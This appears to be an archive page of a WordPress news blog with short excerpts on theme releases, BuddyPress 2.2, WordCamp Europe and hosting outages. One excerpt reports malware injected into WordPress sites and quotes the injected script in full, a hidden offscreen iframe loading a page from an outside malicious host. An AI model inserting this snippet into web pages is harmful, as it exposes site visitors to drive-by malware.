If you like designs that feature stunning, fullscreen background images, then Automattic’s latest free theme release is a prime candidate for your next blog redesign. Harmonic recently landed on WordPress.org and is rapidly closing in on 3,000 downloads. This theme puts the spotlight on your images and content. Harmonic’s striking homepage is accompanied by a…
WooThemes announced this week that it will be retiring @WooSupport, its Twitter support account, in favor of other support channels. Social media manager Marina Pape reports that support at the company is otherwise healthy. “On the contrary, our support is cooking with Customer Happiness this week averaging 90%, all support teams coming in under 24…
BuddyPress 2.2 “Spumoni” was released today. The name pays tribute to L&B Spumoni Gardens, a 70 year old, family-owned pizza joint in Brooklyn, NY. This release is packed full of features that offer developers more flexibility in extending BuddyPress. New Member Type API BuddyPress 2.2 introduces a basic Member Type API that developers can use…
Four hours ago, users seeking support on WordPress.org reported malware injected into their sites from an unknown source. The vulnerability allows for an iframe to be injected, redirecting to a “203koko” site. [html light=”true”] <script>/*<![CDATA[*/if(navigator.userAgent.match(/msie/i)){document.write(‘ <div style="position:absolute;left:-2000px;width:2000px"><iframe src="http://203koko.eu/hjnfh/ipframe2.php" width="20" height="30" ></iframe></div>’);}/*]]>*/</script> [/html] After working together to determine the plugins they have in common, users identified…
Last week WordPress.com announced that Google Analytics is now available for its customers on the business tier, which is priced at $299.00 per year. Users have been clamoring for the feature for years. While many enjoy using the built-in Stats feature, it is severely limited in comparison to Google Analytics and the data is not…
Cover photos in user profiles is a design feature in place on many major social networking sites, including Facebook, Twitter, and G+. Users enjoy having the ability to further personalize their profiles beyond the default square avatar. Twitter was one of the last to add this feature to timelines in 2012, and when it did,…
Roughly one year ago this month Pippin Williamson made the first commit to Easy Digital Download’s “Library” repository on GitHub. He created the library to be a community-maintained repository of code snippets that modify the default behavior of Easy Digital Downloads. So far the library has received 113 commits from eight contributors, which has resulted…
If you create plugins and themes for clients and host them on GitHub, then you may have encountered the hassle of having to move those files over to your client’s installation. On super cheap hosting packages, where SSH access is not an option, this process inevitably requires manually copying files over via FTP. This is…
Those who are new to WordPress theming are often confused by the mixture of PHP and HTML markup in templates. It’s easy to accidentally break theme functionality when everything is placed in the same file. For that reason, there’s a strong contingency of developers who prefer to integrate the Twig PHP templating engine with WordPress,…
Online community building is like gardening. Whether you’re running an active blog, moderating forums, or managing a social network, you will encounter challenges in maintaining growth. Experienced community builders have a wealth of knowledge to share with those who are new to it, especially when it comes to recognizing and mitigating toxic elements, fertilizing to…
Restaurant themes don’t often land in the WordPress Themes Directory. In fact, there are barely a dozen listed among the 3,000+ themes on WordPress.org. One problem with many commercial restaurant themes is that they are usually marketed as a complete package with everything built into the theme, including menu management. The lack of separation of…
WordPress plugin authors have a great deal of liberty when it comes to structuring and organizing their code. There’s no prescribed file structure, so when you look under the hood of a plugin, you often need to poke around a bit to find out how the author is organizing things. Jason Agnew found this to…
The WordCamp Europe organization team announced today that the 2015 event will be held in Seville, Spain from June 26 – 28 at the Barceló Gran Hotel Renacimiento. Last year’s WordCamp in Sofia, Bulgaria was a tremendous success with nearly 800 attendees, a world-class speaker lineup, and a strong local community of volunteers. Ordinarily, the…
Last week, Pressable was engaged in a 24/7 struggle to keep its customers’ sites operational. The recent outages caused some customers 24+ hours of downtime and many closed their accounts in favor of finding an alternative host. Today the company announced that the root cause of the outage customers experienced the week of January 19,…
GenerateWP, the popular WordPress code generator site, is celebrating two years in operation this week. The site, founded by Rami Yushuvaev, launched with five code generators and now has more than 20. Yushuvaev sees the site as an educational tool that helps WordPress developers learn more about coding best practices. Before launching GenerateWP, Yushuvaev created…